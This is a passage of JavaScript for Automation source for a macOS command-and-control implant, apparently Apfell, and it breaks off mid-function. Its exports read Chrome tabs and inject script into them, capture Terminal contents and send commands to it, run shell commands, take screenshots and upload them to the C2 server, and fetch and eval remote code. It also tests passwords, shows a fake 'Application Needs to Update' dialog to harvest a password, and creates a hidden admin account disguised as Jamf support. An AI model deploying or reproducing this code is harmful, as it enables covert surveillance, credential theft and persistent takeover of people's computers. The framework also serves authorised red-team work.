845 if(data.hasOwnProperty('method') && data['method'] != ""){
846 method = data['method'];
847 }
848 }
849 if(method == "jxa"){
850 var user = Application("System Events").currentUser;
851 var info = "Name: " + user.name() +
852 "\nFullName: " + user.fullName() +
853 "\nhomeDirectory: " + user.homeDirectory() +
854 "\npicturePath: " + user.picturePath();
855 return info;
856 }
857 else if(method == "api"){
858 var output = "\nUserName: " + $.NSUserName().js +
859 "\nFull UserName: " + $.NSFullUserName().js +
860 "\nHome Directory: " + $.NSHomeDirectory().js;
861 return output;
862 }
863 else{
864 return "method not supported";
865 }
866 }catch(error){
867 return error.toString();
868 }
869};
870exports.security_info = function(task, command, params){
871 try{
872 var method = "jxa";
873 if(params.length > 0){
874 data = JSON.parse(params);
875 if(data.hasOwnProperty('method') && data['method'] != ""){
876 method = data['method'];
877 }
878 }
879 if(method == "jxa"){
880 var secObj = Application("System Events").securityPreferences();
881 var info = "automaticLogin: " + secObj.automaticLogin() +
882 "\nlogOutWhenInactive: " + secObj.logOutWhenInactive() +
883 "\nlogOutWhenInactiveInterval: " + secObj.logOutWhenInactiveInterval() +
884 "\nrequirePasswordToUnlock: " + secObj.requirePasswordToUnlock() +
885 "\nrequirePasswordToWake: " + secObj.requirePasswordToWake();
886 //"\nsecureVirtualMemory: " + secObj.secureVirtualMemory(); //might need to be in an elevated context
887 return info;
888 }
889 else{
890 return "Method not known";
891 }
892 }catch(error){
893 return error.toString();
894 }
895};
896exports.chrome_tabs = function(task, command, params){
897 var tabs = [];
898 try{
899 var ch = Application("Google Chrome");
900 if(ch.running()){
901 for (var i = 0; i < ch.windows.length; i++){
902 var win = ch.windows[i];
903 for (var j = 0; j < win.tabs.length; j++){
904 var tab = win.tabs[j];
905 var info = "Title: " + tab.title() +
906 "\nURL: " + tab.url() +
907 "\nWin/Tab: " + i + "/" + j;
908 tabs.push(info);
909 }
910 }
911 }else{
912 return "Chrome is not running";
913 }
914 }catch(error){
915 var err = error.toString();
916 if(err == "Error: An error occurred."){
917 return err + " Apfell was denied access to Google Chrome (either by popup or prior deny).";
918 }
919 }
920 return JSON.stringify(tabs, null, 2);
921};
922exports.chrome_bookmarks = function(task, command, params){
923 var all_data = [];
924 try{
925 var ch = Application("Google Chrome");
926 if(ch.running()){
927 var folders = ch.bookmarkFolders;
928 for (var i = 0; i < folders.length; i ++){
929 var folder = folders[i];
930 var bookmarks = folder.bookmarkItems;
931 all_data.push("Folder Name: " + folder.title());
932 for (var j = 0; j < bookmarks.length; j++){
933 var info = "Title: " + bookmarks[j].title() +
934 "\nURL: " + bookmarks[j].url() +
935 "\nindex: " + bookmarks[j].index() +
936 "\nFolder/bookmark: " + i + "/" + j;
937 all_data.push(info); //populate our array
938 }
939 }
940 }
941 else{
942 return "Chrome is not running";
943 }
944 }catch(error){
945 var err = error.toString();
946 if(err == "Error: An error occurred."){
947 return err + " Apfell was denied access to Google Chrome (either by popup or prior deny).";
948 }
949 }
950 return JSON.stringify(all_data, null, 2);
951};
952exports.chrome_js = function(task, command, params){
953 try{
954 var split_params = JSON.parse(params);
955 var window = split_params['window'];
956 var tab = split_params['tab'];
957 var jscript = split_params['javascript'];
958 }catch(error){
959 return error.toString();
960 }
961 try{
962 if(Application("Google Chrome").running()){
963 var result = Application("Google Chrome").windows[window].tabs[tab].execute({javascript:jscript});
964 if(result != undefined){
965 return String(result);
966 }
967 return "completed";
968 }else{
969 return "Chrome isn't running";
970 }
971 }
972 catch(error){
973 var err = error.toString();
974 if(err == "Error: An error occurred."){
975 return err + " Apfell was denied access to Google Chrome (either by popup or prior deny).";
976 }
977 }
978};
979exports.system_info = function(task, command, params){
980 var method = "jxa";
981 try{
982 if(params.length > 0){
983 data = JSON.parse(params);
984 if(data.hasOwnProperty('method') && data['method'] != ""){
985 method = data['method'];
986 }
987 }
988 if(method == "jxa"){
989 return JSON.stringify(currentApp.systemInfo(), null, 2);
990 }else{
991 return "Method unknown";
992 }
993 }catch(error){
994 return "Unknown method";
995 }
996};
997exports.terminals_read = function(task, command, params){
998 var split_params = params.split(" ");
999 //this means command is: terminals_read [history] [contents]
1000 var history = false;
1001 var contents = false;
1002 if(split_params.includes('history')){
1003 history = true;
1004 }
1005 if(split_params.includes('contents')){
1006 contents = true;
1007 }
1008 var all_data = {};
1009 try{
1010 var term = Application("Terminal");
1011 if(term.running()){
1012 var windows = term.windows;
1013 for(var i = 0; i < windows.length; i++){
1014 var win_info = "Name: " + windows[i].name() +
1015 "\nVisible: " + windows[i].visible() +
1016 "\nFrontmost: " + windows[i].frontmost();
1017 var all_tabs = [];
1018 // store the windows information in id_win in all_data
1019 all_data["window_" + i] = win_info;
1020 for(var j = 0; j < windows[i].tabs.length; j++){
1021 var tab_info = "Win/Tab: " + i + "/" + j +
1022 "\nBusy: " + windows[i].tabs[j].busy() +
1023 "\nProcesses: " + windows[i].tabs[j].processes() +
1024 "\nSelected: " + windows[i].tabs[j].selected() +
1025 "\nTTY: " + windows[i].tabs[j].tty();
1026 if(windows[i].tabs[j].titleDisplaysCustomTitle()){
1027 tab_info += "\nCustomTitle: " + windows[i].tabs[j].customTitle();
1028 }
1029 if(history){
1030 tab_info += "\nHistory: " + windows[i].tabs[j].history();
1031 }
1032 if(contents){
1033 tab_info += "\nContents: " + windows[i].tabs[j].contents();
1034 }
1035 all_tabs.push(tab_info);
1036 }
1037 // store all of the tab information corresponding to that window id at id_tabs
1038 all_data[i + "_tabs"] = all_tabs;
1039 }
1040 }else{
1041 return "Terminal is not running";
1042 }
1043
1044 }catch(error){
1045 all_data['error'] = error.toString();
1046 }
1047 return JSON.stringify(all_data, null, 2);
1048};
1049exports.terminals_send = function(task, command, params){
1050 split_params = params.split(" ");
1051 var output = "No Command Output";
1052 try{
1053 var term = Application("Terminal");
1054 if(term.running()){
1055 var window = parseInt(split_params[0]);
1056 var tab = parseInt(split_params[1]);
1057 var cmd = split_params.slice(2, ).join(" ");
1058 //console.log("command: " + cmd + ", window: " + window + ", tab: " + tab);
1059 term.doScript(cmd, {in:term.windows[window].tabs[tab]});
1060 output = term.windows[window].tabs[tab].contents();
1061 }else{
1062 return "Terminal is not running";
1063 }
1064 }
1065 catch(error){
1066 output = error.toString();
1067 }
1068 return output;
1069};
1070exports.spawn = function(task, command, params){
1071 try{
1072 config = JSON.parse(params);
1073 if(config['method'] == "shell_api"){
1074 if(config['type'] == "oneliner"){
1075 if(config['payload-type'] == "apfell-jxa"){
1076 //full_url = C2.baseurl + "api/v1.0/payloads/get/" + split_params[3];
1077 full_url = config['url'];
1078 path = "/usr/bin/osascript";
1079 args = ['-l','JavaScript','-e'];
1080 command = "eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString(";
1081 command = command + "'" + full_url + "')),$.NSUTF8StringEncoding)));";
1082 args.push(command);
1083 args.push("&");
1084 try{
1085 var pipe = $.NSPipe.pipe;
1086 var file = pipe.fileHandleForReading; // NSFileHandle
1087 var task = $.NSTask.alloc.init;
1088 task.launchPath = path;
1089 task.arguments = args;
1090 task.standardOutput = pipe;
1091 task.standardError = pipe;
1092 task.launch;
1093 }
1094 catch(error){
1095 response = error.toString();
1096 }
1097 return JSON.stringify({"status": "success"});
1098 }
1099 }
1100 }
1101 }catch(error){
1102 return error.toString();
1103 }
1104};
1105exports.download = function(task, command, params){
1106 return C2.download(task, params);
1107};
1108exports.sleep = function(task, command, params){
1109 try{
1110 var temp_time = parseInt(params);
1111 if(isNaN(temp_time)){
1112 return "Failed to update sleep time in seconds to: " + params;
1113 }
1114 if(temp_time < 0){
1115 temp_time = temp_time * -1;
1116 }
1117 C2.interval = temp_time;
1118 return "Sleep updated to: " + C2.interval;
1119 }catch(error){
1120 return "Failed to update sleep time in seconds to: " + error.toString();
1121 }
1122};
1123
1124exports.exit = function(task, command, params){
1125 $.NSApplication.sharedApplication.terminate(this);
1126};
1127exports.shell = function(task, command, params){
1128 //simply run a shell command via doShellScript and return the response
1129 var response = "";
1130 try{
1131 if(params[params.length-1] == "&"){
1132 //doShellScript actually does macOS' /bin/sh which is actually bash emulating sh
1133 // so to actually background a task, you need "&> /dev/null &" at the end
1134 // so I'll just automatically fix this so it's not weird for the operator
1135 params = params + "> /dev/null &";
1136 }
1137 response = currentApp.doShellScript(params);
1138 if(response == undefined || response == ""){
1139 response = "No Command Output";
1140 }
1141 }
1142 catch(error){
1143 response = error.toString();
1144 }
1145 return response;
1146};
1147exports.load = function(task, command, params){
1148 //base64 decode the params and pass it to the default_load command
1149 // params should be {"cmds": ["cmd_name1", "cmd_name2"], "file_id": #}
1150 try{
1151 //var params = params.replace(/\'/g, "\"");
1152 var parsed_params = JSON.parse(params);
1153 var code = C2.upload(task, parsed_params['file_id']);
1154 if(typeof code == "string"){
1155 return code; //something failed, we should have NSData type back
1156 }
1157 new_dict = default_load(base64_decode(code));
1158 commands_dict = Object.assign({}, commands_dict, new_dict);
1159 // update the config with our new information
1160 C2.setConfig({"commands": Object.keys(commands_dict)});
1161 return "Loaded " + parsed_params['cmds'];
1162 }
1163 catch(error){
1164 //console.log("errored in load function");
1165 return error.toString();
1166 }
1167
1168};
1169exports.get_config = function(task, command, params){
1170 var output = "C2 Config: " + C2.getConfig();
1171 output = output +
1172 "\nApfell Config: " +
1173 "\n\tUser: " + apfell.user +
1174 "\n\tFull Name: " + apfell.fullName +
1175 "\n\tEnvironment: " + JSON.stringify(apfell.environment, null, 2) +
1176 "\n\tUpTime: " + apfell.uptime +
1177 "\n\tArgs: " + apfell.args +
1178 "\n\tOS Version: " + apfell.osVersion;
1179 return output;
1180};
1181exports.screencapture = function(task, command, params){
1182 try{
1183 ObjC.import('Cocoa');
1184 ObjC.import('AppKit');
1185 var cgimage = $.CGDisplayCreateImage($.CGMainDisplayID());
1186 if(cgimage.js == undefined){
1187 return JSON.stringify({"task": "error", "error":"Failed to get image from display"});
1188 }
1189 var bitmapimagerep = $.NSBitmapImageRep.alloc.initWithCGImage(cgimage);
1190 var capture = bitmapimagerep.representationUsingTypeProperties($.NSBitmapImageFileTypePNG, Ref());
1191 var offset = 0;
1192 var chunkSize = 350000;
1193 var fileSize = parseInt(capture.length);
1194 // always round up to account for chunks that are < chunksize;
1195 var numOfChunks = Math.ceil(fileSize / chunkSize);
1196 var registerData = JSON.stringify({'total_chunks': numOfChunks, 'task': task.id});
1197 var registerData = convert_to_nsdata(registerData);
1198 var registerFile = C2.postResponse(task, registerData);
1199 if (registerFile['status'] == "success"){
1200 var currentChunk = 1;
1201 var csize = capture.length - offset > chunkSize ? chunkSize : capture.length - offset;
1202 var data = capture.subdataWithRange($.NSMakeRange(offset, csize));
1203 while(parseInt(data.length) > 0 && offset < fileSize){
1204 // send a chunk
1205 var fileData = JSON.stringify({'chunk_num': currentChunk, 'chunk_data': data.base64EncodedStringWithOptions(0).js, 'task': task.id, 'file_id': registerFile['file_id']});
1206 fileData = convert_to_nsdata(fileData);
1207 C2.postResponse(task, fileData);
1208 $.NSThread.sleepForTimeInterval(C2.getInterval());
1209
1210 // increment the offset and seek to the amount of data read from the file
1211 offset = offset + parseInt(data.length);
1212 var csize = capture.length - offset > chunkSize ? chunkSize : capture.length - offset;
1213 var data = capture.subdataWithRange($.NSMakeRange(offset, csize));
1214 currentChunk += 1;
1215 }
1216 var output = JSON.stringify({"task": "finished", "file_id": registerFile['file_id']});
1217 }
1218 else{
1219 var output = JSON.stringify({"task": "error", "error":"Failed to register file to download"});;
1220 }
1221 return output;
1222 }catch(error){
1223 return JSON.stringify({"task": "error", "error":"Failed to get a screencapture: " + error.toString()});
1224 }
1225};
1226exports.plist = function(task, command, params){
1227 config = JSON.parse(params);
1228 ObjC.import('Foundation');
1229 try{
1230 if(config['type'] == "read"){
1231 var output = [];
1232 var filename = $.NSString.alloc.initWithUTF8String(config['filename']);
1233 var prefs = $.NSMutableDictionary.alloc.initWithContentsOfFile(filename);
1234 var contents = ObjC.deepUnwrap(prefs);
1235 var nsposix = contents['NSFilePosixPermissions'];
1236 // we need to fix this mess to actually be real permission bits that make sense
1237 var posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
1238 contents['NSFilePosixPermissions'] = posix;
1239 output.push(contents);
1240 }
1241 else if(config['type'] == "readLaunchAgents"){
1242 output = {};
1243 var fileManager = $.NSFileManager.defaultManager;
1244 var error = Ref();
1245 var path = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation + "/Library/LaunchAgents/";
1246 var files = fileManager.contentsOfDirectoryAtPathError($(path), error);
1247 try{
1248 // no errors, so now iterate over the files
1249 files = ObjC.deepUnwrap(files);
1250 //console.log(files);
1251 output["localLaunchAgents"] = {};
1252 for(i in files){
1253 var prefs = $.NSMutableDictionary.alloc.initWithContentsOfFile(path + files[i]);
1254 var contents = ObjC.deepUnwrap(prefs);
1255 var nsposix = contents['NSFilePosixPermissions'];
1256 // we need to fix this mess to actually be real permission bits that make sense
1257 var posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
1258 contents['NSFilePosixPermissions'] = posix;
1259 output["localLaunchAgents"][files[i]] = {};
1260 output["localLaunchAgents"][files[i]]['contents'] = contents;
1261 if(contents != undefined && contents.hasOwnProperty("ProgramArguments")){
1262 //now try to get the attributes of the program this plist points to since it might have attribute issues for abuse
1263 var attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(contents['ProgramArguments'][0]), $()));
1264 if(attributes != undefined){
1265 var trimmed_attributes = {};
1266 trimmed_attributes['NSFileOwnerAccountID'] = attributes['NSFileOwnerAccountID'];
1267 trimmed_attributes['NSFileExtensionHidden'] = attributes['NSFileExtensionHidden'];
1268 trimmed_attributes['NSFileGroupOwnerAccountID'] = attributes['NSFileGroupOwnerAccountID'];
1269 trimmed_attributes['NSFileOwnerAccountName'] = attributes['NSFileOwnerAccountName'];
1270 trimmed_attributes['NSFileCreationDate'] = attributes['NSFileCreationDate'];
1271 var nsposix = attributes['NSFilePosixPermissions'];
1272 // we need to fix this mess to actually be real permission bits that make sense
1273 var posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
1274 trimmed_attributes['NSFilePosixPermissions'] = posix;
1275 trimmed_attributes['NSFileGroupOwnerAccountName'] = attributes['NSFileGroupOwnerAccountName'];
1276 trimmed_attributes['NSFileModificationDate'] = attributes['NSFileModificationDate'];
1277 output["localLaunchAgents"][files[i]]['attributes'] = trimmed_attributes;
1278 }
1279 }
1280 }
1281 }catch(error){
1282 return "Error trying to read ~/Library/LaunchAgents: " + error.toString();
1283 }
1284 var path = "/Library/LaunchAgents/";
1285 var files = fileManager.contentsOfDirectoryAtPathError($(path), error);
1286 try{
1287 // no errors, so now iterate over the files
1288 files = ObjC.deepUnwrap(files);
1289 output["systemLaunchAgents"] = {};
1290 for(i in files){
1291 var prefs = $.NSMutableDictionary.alloc.initWithContentsOfFile($(path + files[i]));
1292 var contents = ObjC.deepUnwrap(prefs);
1293 var nsposix = contents['NSFilePosixPermissions'];
1294 // we need to fix this mess to actually be real permission bits that make sense
1295 var posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
1296 contents['NSFilePosixPermissions'] = posix;
1297 output['systemLaunchAgents'][files[i]] = {};
1298 output["systemLaunchAgents"][files[i]]['contents'] = contents;
1299 if(contents != undefined && contents.hasOwnProperty("ProgramArguments")){
1300 var attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(contents['ProgramArguments'][0]), $()));
1301 if(attributes != undefined){
1302 var trimmed_attributes = {};
1303 trimmed_attributes['NSFileOwnerAccountID'] = attributes['NSFileOwnerAccountID'];
1304 trimmed_attributes['NSFileExtensionHidden'] = attributes['NSFileExtensionHidden'];
1305 trimmed_attributes['NSFileGroupOwnerAccountID'] = attributes['NSFileGroupOwnerAccountID'];
1306 trimmed_attributes['NSFileOwnerAccountName'] = attributes['NSFileOwnerAccountName'];
1307 trimmed_attributes['NSFileCreationDate'] = attributes['NSFileCreationDate'];
1308 var nsposix = attributes['NSFilePosixPermissions'];
1309 // we need to fix this mess to actually be real permission bits that make sense
1310 var posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
1311 trimmed_attributes['NSFilePosixPermissions'] = posix;
1312 trimmed_attributes['NSFileGroupOwnerAccountName'] = attributes['NSFileGroupOwnerAccountName'];
1313 trimmed_attributes['NSFileModificationDate'] = attributes['NSFileModificationDate'];
1314 output["systemLaunchAgents"][files[i]]['attributes'] = trimmed_attributes;
1315 }
1316 }
1317 }
1318 }
1319 catch(error){
1320 return "Error trying to read /Library/LaunchAgents: " + error.toString();
1321 }
1322 }
1323 else if(config['type'] == "readLaunchDaemons"){
1324 var fileManager = $.NSFileManager.defaultManager;
1325 var path = "/Library/LaunchDaemons/";
1326 var error = Ref();
1327 output = {};
1328 var files = fileManager.contentsOfDirectoryAtPathError($(path), error);
1329 try{
1330 // no errors, so now iterate over the files
1331 files = ObjC.deepUnwrap(files);
1332 output["systemLaunchDaemons"] = {};
1333 for(i in files){
1334 var prefs = $.NSMutableDictionary.alloc.initWithContentsOfFile($(path + files[i]));
1335 var contents = ObjC.deepUnwrap(prefs);
1336 var nsposix = contents['NSFilePosixPermissions'];
1337 // we need to fix this mess to actually be real permission bits that make sense
1338 var posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
1339 contents['NSFilePosixPermissions'] = posix;
1340 output['systemLaunchDaemons'][files[i]] = {};
1341 output["systemLaunchDaemons"][files[i]]['contents'] = contents;
1342 if(contents != undefined && contents.hasOwnProperty('ProgramArguments')){
1343 var attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(contents['ProgramArguments'][0]), $()));
1344 if(attributes != undefined){
1345 var trimmed_attributes = {};
1346 trimmed_attributes['NSFileOwnerAccountID'] = attributes['NSFileOwnerAccountID'];
1347 trimmed_attributes['NSFileExtensionHidden'] = attributes['NSFileExtensionHidden'];
1348 trimmed_attributes['NSFileGroupOwnerAccountID'] = attributes['NSFileGroupOwnerAccountID'];
1349 trimmed_attributes['NSFileOwnerAccountName'] = attributes['NSFileOwnerAccountName'];
1350 trimmed_attributes['NSFileCreationDate'] = attributes['NSFileCreationDate'];
1351 var nsposix = attributes['NSFilePosixPermissions'];
1352 // we need to fix this mess to actually be real permission bits that make sense
1353 var posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
1354 trimmed_attributes['NSFilePosixPermissions'] = posix;
1355 trimmed_attributes['NSFileGroupOwnerAccountName'] = attributes['NSFileGroupOwnerAccountName'];
1356 trimmed_attributes['NSFileModificationDate'] = attributes['NSFileModificationDate'];
1357 output["systemLaunchDaemons"][files[i]]['attributes'] = trimmed_attributes;
1358 }
1359 }
1360 }
1361 }
1362 catch(error){
1363 return "Error trying to read launch daemons: " + error.toString();
1364 }
1365 }
1366 return JSON.stringify(output, null, 2);
1367 }catch(error){
1368 return "error: " + error.toString();
1369 }
1370
1371};
1372exports.cat = function(task, command, params){
1373 try{
1374 var contents = $.NSData.dataWithContentsOfFile($(params));
1375 if(contents == undefined || contents == ""){
1376 return "No output from command";
1377 }
1378 if(contents == true){
1379 return "True";
1380 }
1381 if(contents == false){
1382 return "False";
1383 }
1384 return contents;
1385 }
1386 catch(error){
1387 return error.toString();
1388 }
1389};
1390exports.ls = function(task, command, params){
1391 ObjC.import('Foundation');
1392 var fileManager = $.NSFileManager.defaultManager;
1393 var error = Ref();
1394 var path = params;
1395 if(params == "" || params == undefined){
1396 path = fileManager.currentDirectoryPath.js;
1397 if(path == undefined || path == ""){
1398 return "Failed to get the current working directory";
1399 }
1400 }
1401 if(path[0] == '"'){
1402 path = path.substring(1, path.length-1);
1403 }
1404 var attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path), error));
1405 if(attributes != undefined){
1406 attributes['type'] = "";
1407 attributes['files'] = [];
1408 if(attributes.hasOwnProperty('NSFileType') && attributes['NSFileType'] == "NSFileTypeDirectory"){
1409 var error = Ref();
1410 attributes['type'] = "D";
1411 var files = fileManager.contentsOfDirectoryAtPathError($(path), error);
1412 if(error[0].js == $().js){
1413 var files_data = [];
1414 var sub_files = ObjC.deepUnwrap(files);
1415 if(path[path.length-1] != "/"){
1416 path = path + "/";
1417 }
1418 for(var i = 0; i < sub_files.length; i++){
1419 var attr = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), error));
1420 var file_add = {};
1421 file_add['name'] = sub_files[i];
1422 if(attr['NSFileType'] == "NSFileTypeDirectory"){
1423 file_add['type'] = "D";
1424 }else{
1425 file_add['type'] = "";
1426 }
1427 file_add['size'] = attr['NSFileSize'];
1428 var nsposix = attr['NSFilePosixPermissions'];
1429 // we need to fix this mess to actually be real permission bits that make sense
1430 var posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
1431 file_add['permissions'] = posix;
1432 file_add['owner'] = attr['NSFileOwnerAccountName'] + "(" + attr['NSFileOwnerAccountID'] + ")";
1433 file_add['group'] = attr['NSFileGroupOwnerAccountName'] + "(" + attr['NSFileGroupOwnerAccountID'] + ")";
1434 if(attr['NSFileExtensionHidden']){
1435 file_add['hidden'] = "Y";
1436 }else{
1437 file_add['hidden'] = "";
1438 }
1439 //files_data[file_add] = attr['NSFileExtendedAttributes'];
1440 files_data.push(file_add);
1441 }
1442 attributes['files'] = files_data;
1443 }
1444 }
1445 delete attributes['NSFileSystemFileNumber'];
1446 delete attributes['NSFileSystemNumber'];
1447 delete attributes['NSFileType'];
1448 var nsposix = attributes['NSFilePosixPermissions'];
1449 // we need to fix this mess to actually be real permission bits that make sense
1450 var posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
1451 delete attributes['NSFilePosixPermissions'];
1452 attributes['name'] = path;
1453 attributes['size'] = attributes['NSFileSize'];
1454 attributes['permissions'] = posix;
1455 attributes['owner'] = attributes['NSFileOwnerAccountName'] + "(" + attributes['NSFileOwnerAccountID'] + ")";
1456 attributes['group'] = attributes['NSFileGroupOwnerAccountName'] + "(" + attributes['NSFileGroupOwnerAccountID'] + ")";
1457 if(attributes['NSFileExtensionHidden']){
1458 attributes['hidden'] = "Y";
1459 }
1460 else{
1461 attributes['hidden'] = "";
1462 }
1463 delete attributes['NSFileSize'];
1464 delete attributes['NSFileOwnerAccountName'];
1465 delete attributes['NSFileOwnerAccountID'];
1466 delete attributes['NSFileGroupOwnerAccountName'];
1467 delete attributes['NSFileGroupOwnerAccountID'];
1468 return JSON.stringify(attributes, null, 6);
1469 }
1470 return "Failed to get attributes of file";
1471};
1472exports.test_password = function(task, command, params){
1473 ObjC.import('Collaboration');
1474 ObjC.import('CoreServices');
1475 var authority = $.CBIdentityAuthority.defaultIdentityAuthority;
1476 var username = apfell.user;
1477 var password = "";
1478 if(params.length > 0){
1479 var data = JSON.parse(params);
1480 if(data.hasOwnProperty('username') && data['username'] != ""){
1481 username = data['username'];
1482 }
1483 if(data.hasOwnProperty('password') && data['password'] != ""){
1484 password = data['password'];
1485 }
1486 // if no password is supplied, try an empty password
1487 }
1488 var user = $.CBIdentity.identityWithNameAuthority($(username), authority);
1489 if(user.js != undefined){
1490 if(user.authenticateWithPassword($(password))){
1491 return "Successful authentication";
1492 }
1493 else{
1494 return "Failed authentication";
1495 }
1496 }
1497 else{
1498 return "User does not exist";
1499 }
1500};
1501exports.jsimport = function(task,command,params){
1502 try{
1503 var config = JSON.parse(params);
1504 if(config.hasOwnProperty("url") && config['url'] != ""){
1505 var script = ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString(config['url'])),$.NSUTF8StringEncoding));
1506 if(script == ""){
1507 return "Failed to pull down code, got empty string";
1508 }
1509 }
1510 else if(config.hasOwnProperty("file_id") && config['file_id'] > 0){
1511 var script_data = C2.upload(task, config['file_id']);
1512 if(typeof script_data == "string"){
1513 return "Failed to get contents of that file";
1514 }
1515 var script = ObjC.unwrap($.NSString.alloc.initWithDataEncoding(script_data, $.NSUTF8StringEncoding));
1516 }
1517 else{
1518 return "needs either a valid url or a file_id > 0 to pull down";
1519 }
1520 jsimport = script;
1521 return "imported the script";
1522 }
1523 catch(error){
1524 return error.toString();
1525 }
1526};
1527exports.jsimport_call = function(task, command, params){
1528 try{
1529 var output = ObjC.deepUnwrap(eval(jsimport + "\n " + params));
1530 if(output == "" || output === undefined){
1531 return "No command output";
1532 }
1533 if(output == true){
1534 return "True";
1535 }
1536 if(output == false){
1537 return "False";
1538 }
1539 if(typeof(output) != "string"){
1540 output = String(output);
1541 }
1542 return output;
1543 }
1544 catch(error){
1545 return error.toString();
1546 }
1547};
1548exports.prompt = function(task, command, params){
1549 if(params.length > 0){var config = JSON.parse(params);}
1550 else{var config = [];}
1551 var title = "Application Needs to Update";
1552 if(config.hasOwnProperty("title") && config['title'] != ""){title = config['title'];}
1553 var icon = "/System/Library/CoreServices/Software Update.app/Contents/Resources/SoftwareUpdate.icns";
1554 if(config.hasOwnProperty("icon") && config['icon'] != ""){icon = config['icon'];}
1555 var text = "An application needs permission to update";
1556 if(config.hasOwnProperty("text") && config['text'] != ""){text = config['text'];}
1557 var answer = "";
1558 if(config.hasOwnProperty("answer") && config['answer'] != ""){answer = config['answer'];}
1559 try{
1560 var prompt = currentApp.displayDialog(text, {
1561 defaultAnswer: answer,
1562 buttons: ['OK', 'Cancel'],
1563 defaultButton: 'OK',
1564 cancelButton: 'Cancel',
1565 withTitle: title,
1566 withIcon: Path(icon),
1567 hiddenAnswer: true
1568 });
1569 return prompt.textReturned;
1570 }catch(error){
1571 return error.toString();
1572 }
1573};
1574exports.add_user = function(task, command, params){
1575 try{
1576 // Add a user with dscl to the local machine
1577 var config = JSON.parse(params);
1578 var admin = true;
1579 var hidden = true;
1580 var username = ".jamf_support";
1581 var password = "P@55w0rd_Here";
1582 var realname = "Jamf Support User";
1583 var homedir = "/Users/";
1584 var uniqueid = 403;
1585 var primarygroupid = 80; //this is the admin group
1586 var usershell = "/bin/bash";
1587 var createprofile = false;
1588 var user = ""; //username of the user with sudo capability to do these commands
1589 var passwd = ""; //password of the user with sudo capability to do these commands
1590 if(config.hasOwnProperty("admin") && typeof config['admin'] == 'boolean'){ admin = config['admin']; }
1591 if(config.hasOwnProperty("hidden") && typeof config['hidden'] == 'boolean'){ hidden = config['hidden']; }
1592 if(config.hasOwnProperty("username") && config['username'] != ''){ username = config['username']; }
1593 if(config.hasOwnProperty("password") && config['password'] != ''){ password = config['password']; }
1594 if(config.hasOwnProperty("realname") && config['realname'] != ''){ realname = config['realname']; }
1595 if(config.hasOwnProperty("uniqueid") && config['uniqueid'] != -1){ uniqueid = config['uniqueid']; }
1596 else if(config.hasOwnProperty('uniqueid') && typeof config['uniqueid'] == 'string' && config['uniqueid'] != ''){ uniqueid = parseInt(config['uniqueid']); }
1597 if(config.hasOwnProperty("primarygroupid") && config['primarygroupid'] != -1){ primarygroupid = config['primarygroupid']; }
1598 else if(config.hasOwnProperty('primarygroupid') && typeof config['primarygroupid'] == 'string' && config['primarygroupid'] != ''){ primarygroupid = parseInt(config['primarygroupid']); }
1599 if(config.hasOwnProperty("usershell") && config['usershell'] != ''){ usershell = config['usershell']; }
1600 if(config.hasOwnProperty("createprofile") && typeof config['createprofile'] == "boolean"){ createprofile = config['createprofile']; }
1601 if(config.hasOwnProperty("homedir") && config['homedir'] != ''){ homedir = config['homedir']; }
1602 else{ homedir += username; }
1603 if(config.hasOwnProperty("user") && config['user'] != ''){ user = config['user']; }
1604 else{ return "User's name is required to do sudo commands"; }
1605 if(config.hasOwnProperty("passwd") && config['passwd'] != ''){ passwd = config['passwd']; }
1606 else{ return "User's password is required to do sudo commands"; }
1607 // now do our series of dscl commands to set up the account
1608 try{
1609 var cmd = "dscl . create /Users/" + username;
1610 currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
1611 if(hidden){
1612 cmd = "dscl . create /Users/" + username + " IsHidden 1";
1613 currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
1614 }
1615 cmd = "dscl . create /Users/" + username + " UniqueID " + uniqueid;
1616 currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
1617 cmd = "dscl . create /Users/" + username + " PrimaryGroupID " + primarygroupid;
1618 currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
1619 cmd = "dscl . create /Users/" + username + " NFSHomeDirectory \"" + homedir + "\"";
1620 currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
1621 cmd = "dscl . create /Users/" + username + " RealName \"" + realname + "\"";
1622 currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
1623 cmd = "dscl . create /Users/" + username + " UserShell " + usershell;
1624 currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
1625 if(admin){
1626 cmd = "dseditgroup -o edit -a " + username + " -t user admin";
1627 currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
1628 }
1629 cmd = "dscl . passwd /Users/" + username + " \"" + password + "\"";
1630 currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
1631 if(createprofile){
1632 cmd = "mkdir \"" + homedir + "\"";
